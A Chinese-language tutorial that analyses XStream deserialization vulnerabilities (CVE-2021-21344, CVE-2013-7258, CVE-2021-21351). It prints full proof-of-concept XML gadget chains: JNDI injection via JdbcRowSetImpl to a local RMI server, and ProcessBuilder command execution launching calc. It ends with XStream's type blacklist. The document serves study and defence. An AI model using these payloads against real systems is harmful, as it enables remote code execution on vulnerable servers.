Java安全之XStream漏洞分析与利用
字数 1785 2025-08-20 18:17:41
XStream漏洞分析与利用教学文档
1. XStream简介
XStream是一个Java库,主要功能是将Java对象与XML相互转换。其特点包括:
- 使用简单,通过默认构造函数即可创建实例
- 支持几乎所有类型的Java对象处理
- 无需实现Serializable接口也能进行序列化/反序列化
基本使用示例
Maven依赖:
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.4</version>
</dependency>
示例1:未实现Serializable接口的类
public class Person {
private String name;
private int age;
// 构造方法、getter/setter等
}
// 序列化
Person person = new Person("lucy", 22);
XStream xStream = new XStream();
String xml = xStream.toXML(person);
// 输出: <Xstream.Person><name>lucy</name><age>22</age></Xstream.Person>
示例2:实现Serializable接口的类
public class Car implements Serializable {
private String name;
private int price;
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Print Car");
}
// 其他方法
}
// 序列化
Car car = new Car("benchi", 2000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
// 输出: <Xstream.Car serialization="custom">...</Xstream.Car>
反序列化示例:
String xml = "<Xstream.Car serialization=\"custom\">...</Xstream.Car>";
XStream xStream = new XStream();
Car car = (Car)xStream.fromXML(xml); // 会调用readObject方法
2. XStream反序列化机制分析
反序列化流程
- 开始解析:从
TreeUnmarshaller.start()开始 - 获取类型:通过
HierarchicalStreams.readClassType()根据XML标签获取对应的Class对象 - 转换对象:调用
convertAnother()方法将Class对象转换为Java对象 - 查找转换器:通过
converterLookup.lookupConverterForType()根据类型寻找合适的Converter - 实际转换:调用Converter的
unmarshal()方法解析XML内容
关键点
- 对于实现了
readObject()方法的类,XStream会调用该方法 - XStream为不同类型提供了不同的Converter:
SerializableConverter:处理实现了Serializable接口的类ReflectionConverter:处理普通Java对象DynamicProxyConverter:处理动态代理类TreeSetConverter/TreeMapConverter:处理集合类
3. XStream漏洞汇总
XStream历史上存在多个反序列化漏洞,官方安全公告见:
https://x-stream.github.io/security.html
4. CVE-2021-21344分析
影响版本
XStream <= 1.4.15
漏洞原理
利用XStream反序列化时,通过构造特定的XML,触发JdbcRowSetImpl的JNDI注入
漏洞复现
RMI Server:
Registry registry = LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://127.0.0.1:8080/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("exec", wrapper);
POC XML:
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:7777/exec</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<!-- 省略其他字段 -->
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<!-- 省略其他字段 -->
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
漏洞利用链分析
- PriorityQueue:利用其
readObject()方法触发比较操作 - DataTransferer$IndexOrderComparator:通过比较操作触发后续链
- JdbcRowSetImpl:最终通过
getDatabaseMetaData()->connect()触发JNDI注入
5. CVE-2013-7258分析
影响版本
XStream 1.4.x-1.4.6及1.4.10
漏洞原理
利用动态代理和EventHandler实现命令执行
漏洞复现
POC XML:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/C</string>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
替代POC:
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/C</string>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
漏洞利用链分析
- TreeSet/TreeMap:触发比较操作
- 动态代理:代理Comparable接口
- EventHandler:通过反射调用ProcessBuilder的start方法
6. CVE-2021-21351分析
影响版本
XStream <= 1.4.15
漏洞原理
利用XRTreeFrag和SAX2DTM触发JdbcRowSetImpl的JNDI注入
漏洞复现
POC XML:
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
漏洞利用链分析
- Rdn$RdnEntry:触发比较操作
- XRTreeFrag:通过
getStringValue()触发后续解析 - SAX2DTM:解析过程中触发JdbcRowSetImpl的
setAutoCommit() - JdbcRowSetImpl:通过
setAutoCommit()->connect()触发JNDI注入
7. 防护措施
XStream通过黑名单机制防护漏洞,如1.4.15中的setupSecurity()方法:
protected void setupSecurity() {
if (this.securityMapper != null) {
this.addPermission(AnyTypePermission.ANY);
this.denyTypes(new String[]{
"java.beans.EventHandler",
"java.lang.ProcessBuilder",
"javax.imageio.ImageIO$ContainsFilter",
"jdk.nashorn.internal.objects.NativeString"
});
this.denyTypesByRegExp(new Pattern[]{
LAZY_ITERATORS,
JAVAX_CRYPTO,
JAXWS_FILE_STREAM
});
this.allowTypeHierarchy(Exception.class);
this.securityInitialized = false;
}
}
8. 参考资源
- XStream安全公告: https://x-stream.github.io/security.html
- XStream反序列化分析: https://y4tacker.github.io/2022/02/10/year/2022/2/XStream反序列化/